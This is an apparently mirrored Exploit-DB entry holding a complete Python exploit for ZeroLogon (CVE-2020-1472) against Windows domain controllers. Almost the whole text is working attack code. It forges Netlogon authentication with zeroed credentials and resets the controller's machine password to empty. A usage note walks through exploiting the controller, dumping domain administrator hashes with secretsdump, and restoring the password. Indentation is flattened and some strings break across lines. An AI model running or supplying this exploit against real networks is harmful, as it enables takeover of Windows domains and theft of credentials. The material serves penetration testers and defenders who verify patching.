ZeroLogon – Netlogon Elevation of Privilege

  • 作者: West Shepherd
    日期: 2020-11-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49071/
  • # Exploit Title: ZeroLogon - Netlogon Elevation of Privilege
    # Date: 2020-10-04
    # Exploit Author: West Shepherd
    # Vendor Homepage: https://www.microsoft.com
    # Version: Microsoft Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2
    # Tested on: Microsoft Windows Server 2016 Standard x64
    # CVE : CVE-2020-1472
    # Credit to: Tom Tervoort for discovery and Dirk-Janm for Impacket code
    # Sources: https://www.secura.com/pathtoimg.php?id=2055
    # Requirements: python3 and impacket 0.9.21+ (tested using this version)
    #!/usr/bin/env python3
    import hmac, hashlib, struct, sys, socket, time, argparse, logging, codecs
    from binascii import hexlify, unhexlify
    from subprocess import check_call
    from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED
    from impacket.dcerpc.v5 import nrpc, epm, transport
    from impacket import crypto, version
    from impacket.examples import logger
    from Cryptodome.Cipher import AES
    from struct import pack, unpack
    from impacket.dcerpc.v5.rpcrt import DCERPCException
    
    
    class Exploit:
    def __init__(
    self,
    name='',
    address='',
    attempts=2000,
    password=''
    ):
    name = name.rstrip('$')
    self.secureChannelType = nrpc.NETLOGON_SECURE_CHANNEL_TYPE\
    .ServerSecureChannel
    self.authenticator = self.getAuthenticator(stamp=0)
    self.clearNewPasswordBlob = b'\x00' * 516
    self.primaryName = ('\\\\%s' % name) + '\x00'
    self.accountName = ('%s$' % name) + '\x00'
    self.computerName = name + '\x00'
    self.clientCredential = b'\x00' * 8
    self.clientChallenge = b'\x00' * 8
    self.negotiateFlags = 0x212fffff
    self.address = address
    self.max = attempts
    self.dce = None
    self.sessionKey = None
    self.clientStoredCredential = None
    self.password = password
    
    def encodePassword(self, password):
    if isinstance(password, str):
    password = password.encode('utf-8')
    return b'\x00' * (512 - len(password))\
     + password \
     + pack('<L', len(password))
    
    def getAuthenticator(self, creds=b'\x00' * 8, stamp=10):
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = creds
    authenticator['Timestamp'] = stamp
    return authenticator
    
    def serverReqChallenge(self):
    try:
    binding = epm.hept_map(
    self.address, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp'
    )
    self.dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    self.dce.connect()
    self.dce.bind(nrpc.MSRPC_UUID_NRPC)
    return nrpc.hNetrServerReqChallenge(
    self.dce,
    self.primaryName,
    self.computerName,
    self.clientChallenge
    )
    except BaseException as ex:
    self.logError(ex)
    
    def serverAuthenticate(self):
    try:
    auth = nrpc.hNetrServerAuthenticate3(
    self.dce,
    self.primaryName,
    self.accountName,
    self.secureChannelType,
    self.computerName,
    self.clientCredential,
    self.negotiateFlags
    )
    assert auth['ErrorCode'] == 0
    self.logInfo('successfully authenticated')
    return True
    except nrpc.DCERPCSessionError as ex:
    self.dce = None
    if ex.get_error_code() == 0xc0000022:
    return None
    else:
    self.logFail(ex.get_error_code())
    except BaseException as ex:
    self.dce = None
    self.logFail(ex)
    self.dce = None
    
    def serverPasswordSet(self):
    try:
    return nrpc.hNetrServerPasswordSet2(
    self.dce,
    self.primaryName,
    self.accountName,
    self.secureChannelType,
    self.computerName,
    self.authenticator,
    self.clearNewPasswordBlob
    )
    except BaseException as ex:
    self.logError(ex)
    
    def authenticate(self):
    self.logInfo(
    'checking target, attempting to authenticate %d max
    attempts' % self.max
    )
    for attempt in range(0, self.max):
    self.logInfo('attempt %d' % attempt)
    self.serverReqChallenge()
    self.serverAuthenticate()
    if self.dce is not None:
    break
    if self.dce:
    return True
    else:
    self.logError('failed to authenticate')
    
    def exploit(self):
    self.logInfo('attempting password reset')
    reset = self.serverPasswordSet()
    if reset['ErrorCode'] == 0:
    self.logInfo('successfully reset password')
    else:
    self.logError('failed to reset password')
    return self
    
    def ComputeNetlogonCredentialAES(self, challenge):
    return nrpc.ComputeNetlogonCredentialAES(
    challenge,
    self.sessionKey
    )
    
    def logInfo(self, message):
    sys.stdout.write("[+] %s\n" % str(message))
    return self
    
    def logError(self, message):
    sys.stderr.write("[-] error %s\n" % str(message))
    
    def logFail(self, message):
    sys.stderr.write("[!] failure %s\n" % str(message))
    sys.exit(2)
    
    def restore(self):
    self.logInfo('attempting to restore password')
    self.clientChallenge = b'12345678'
    try:
    self.primaryName = NULL
    challenge = self.serverReqChallenge()
    self.sessionKey = nrpc.ComputeSessionKeyAES(
    '', self.clientChallenge, challenge['ServerChallenge']
    )
    self.clientCredential = self.ComputeNetlogonCredentialAES(
    self.clientChallenge
    )
    try:
    self.serverAuthenticate()
    except Exception as e:
    if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
    raise
    self.logInfo('restoring password')
    self.clientStoredCredential = pack('<Q', unpack('<Q',
    self.clientCredential)[0] + 10)
    self.authenticator = self.getAuthenticator(
    
    creds=self.ComputeNetlogonCredentialAES(self.clientStoredCredential)
    )
    self.clearNewPasswordBlob = self.ComputeNetlogonCredentialAES(
    self.encodePassword(self.password)
    )
    reset = self.serverPasswordSet()
    if reset['ErrorCode'] == 0:
    self.logInfo('successfully restored password')
    else:
    self.logError('failed to restore password')
    except Exception as ex:
    self.logError(ex)
    return self
    
    
    if __name__ == '__main__':
    info = """
    NOTE - Exploitation will break the DC until restored, recommended guidelines:
    
    1. Check the DC - usually ~300 attempts, use the NETBIOS name not the FQDN:
    cve-2020-1472.py -do check -target <NETBIOS NAME> -ip <IP>
    
    2. Exploit the DC - this will break the DC until restored:
    cve-2020-1472.py -do exploit <NETBIOS NAME> -ip <IP>
    
    3. Dump the DC - for the DA hashes, this will not contain the
    machine hex-pass:
    secretsdump.py -just-dc -no-pass <NETBIOS NAME>\$@<IP>
    
    4. Dump the DC again - use the DA hash to get the machines hex-pass:
    secretsdump.py -no-pass -hashes <LMHASH>:<NTHASH> <DOMAIN>/<ADMIN>@<IP>
    
    5. Restore target - this fixes the DC:
    cve-2020-1472.py -do restore -target <NETBIOS NAME> -ip <IP>
    -hex <HEXPASS>
    """
    parser = argparse.ArgumentParser(
    description='CVE-2020-1472 ZeroLogon Exploit - Netlogon
    Elevation of Privilege',
    add_help=True
    )
    try:
    parser.add_argument('-do', default='check', action='store',
    help='What to do (default check):
    [check|restore|exploit]')
    parser.add_argument('-target', action='store',
    help='NETBIOS name of target DC (not the FQDN)')
    parser.add_argument('-ip', action='store',
    help='IP address of target DC')
    parser.add_argument('-password', default='', action='store',
    help='The plaintext password to use to
    reset the DC')
    parser.add_argument('-hex', default='', action='store',
    help='The hex password to use to restore
    the DC (recommended)')
    parser.add_argument('-max', default=2000, action='store',
    help='Max attempts to authenticate with
    the DC (usually ~300 or less)')
    
    if len(sys.argv) < 3:
    parser.print_help()
    print(info)
    sys.exit(1)
    options = parser.parse_args()
    
    if options.do.lower() == 'check':
    Exploit(
    name=options.target,
    address=options.ip,
    attempts=int(options.max)
    ).authenticate()
    elif options.do.lower() == 'exploit':
    exp = Exploit(
    name=options.target,
    address=options.ip,
    attempts=int(options.max)
    )
    if exp.authenticate():
    exp.exploit()
    elif options.do.lower() == 'restore':
    if options.hex != '' and options.password == '':
    options.password = unhexlify(options.hex)
    if options.password != '':
    exp = Exploit(
    name=options.target,
    address=options.ip,
    password=options.password
    ).restore()
    else:
    parser.print_help()
    
    except Exception as error:
    sys.stderr.write('[-] error in main %s\n' % str(error))